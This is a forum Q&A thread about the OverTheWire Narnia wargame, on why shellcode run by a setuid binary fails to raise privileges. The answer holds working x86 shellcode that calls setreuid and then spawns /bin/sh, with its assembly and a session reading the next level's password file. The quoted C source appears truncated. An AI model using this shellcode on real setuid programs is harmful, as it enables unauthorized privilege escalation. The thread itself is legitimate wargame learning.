(This is a question regarding a challenge in a wargame on overthewire.org called Narnia)

Here is the source code of the vulnerable script "narnia1" I intend to exploit:

#include <stdio.h>

int main(){
    int (*ret)();

        printf("Give me something to execute at the env-variable EGG\n");

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG");

    return 0;

So basically it executes the stuff stored in the environment variable "EGG".

I set "EGG" to be the shellcode as shown here:

export EGG=`python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"`

which executes /bin/sh.

The owner of this file (narnia1) is "narnia2" as shown below, we expect the shell to be executed as "narnia2".

narnia1@narnia:/narnia$ ls -la
total 116
drwxr-xr-x  2 root    root    4096 Nov  9 15:08 .
drwxr-xr-x 25 root    root    4096 Mar 12 09:58 ..
-r-sr-x---  1 narnia1 narnia0 7568 Nov  9 15:08 narnia0
-r--r-----  1 narnia0 narnia0 1186 Nov  9 15:08 narnia0.c
-r-sr-x---  1 narnia2 narnia1 7404 Nov  9 15:08 narnia1
-r--r-----  1 narnia1 narnia1 1000 Nov  9 15:08 narnia1.c

However, this is what I got:

narnia1@narnia:/narnia$ export EGG=`python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"`
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami

And I have no idea why this gives me a shell as "narnia1" instead of "narnia2".

Any idea?

  • I think someone asked this exact question some weeks ago.
    – forest
    Apr 29, 2018 at 11:39
  • Most shells ignore setuid for security reasons. Apr 29, 2018 at 11:49
  • Shellcode != shell. If your EUID and SUID are root, then even /bin/sh should run as root.
    – forest
    Apr 29, 2018 at 11:54
  • 2
    these might help: security.stackexchange.com/search?q=Narnia
    – schroeder
    Apr 29, 2018 at 12:01

2 Answers 2


I struggled with this for quite a while and eventually had to modify some of the shellcode I found online.

;;; Corrected assembler, based on original from:-
;;; http://shell-storm.org/shellcode/files/shellcode-399.php

      BITS 32

      push byte   0x31
      pop         eax               ; EAX = 0x31
      xor         edx, edx
      int         0x80              ; geteuid();
      mov         ebx, eax          ; result into both args of setreuid() call...
      mov         ecx, eax
      push byte   0x46              ; 
      pop         eax               ; EAX = 0x46
      int         0x80              ; setreuid(geteuid(),geteuid());
      mov         al, 0xb           ; execve syscall
      push        edx               ; push \0 string terminator
      push        0x68732f6e        ; hs/n  
      push        0x69622f2f        ; ib//      
      mov         ebx, esp          ; EBX -> "//bin/sh"
      mov         ecx, edx          ; ECX = 0
      int         0x80              ; execve(/bin/sh,0,0);

Here's the shellcode string:-


And here's how to use it:-

narnia1@narnia:/narnia$ export EGG=`python -c 'print "\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
$ cat /etc/narnia_pass/narnia2
******* (the password)

In CTFs where you nc/ssh in to exploit a program, it is common that the binary is setuid.

So you are allowed to connect as user1, but the flag belongs to user2. By exploiting the setuid, binary you become user2, who is allowed to read the flag.

It is not trivial to create environments, where users can log in and exploit stuff, without the possibility for cheating or damaging the environments.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .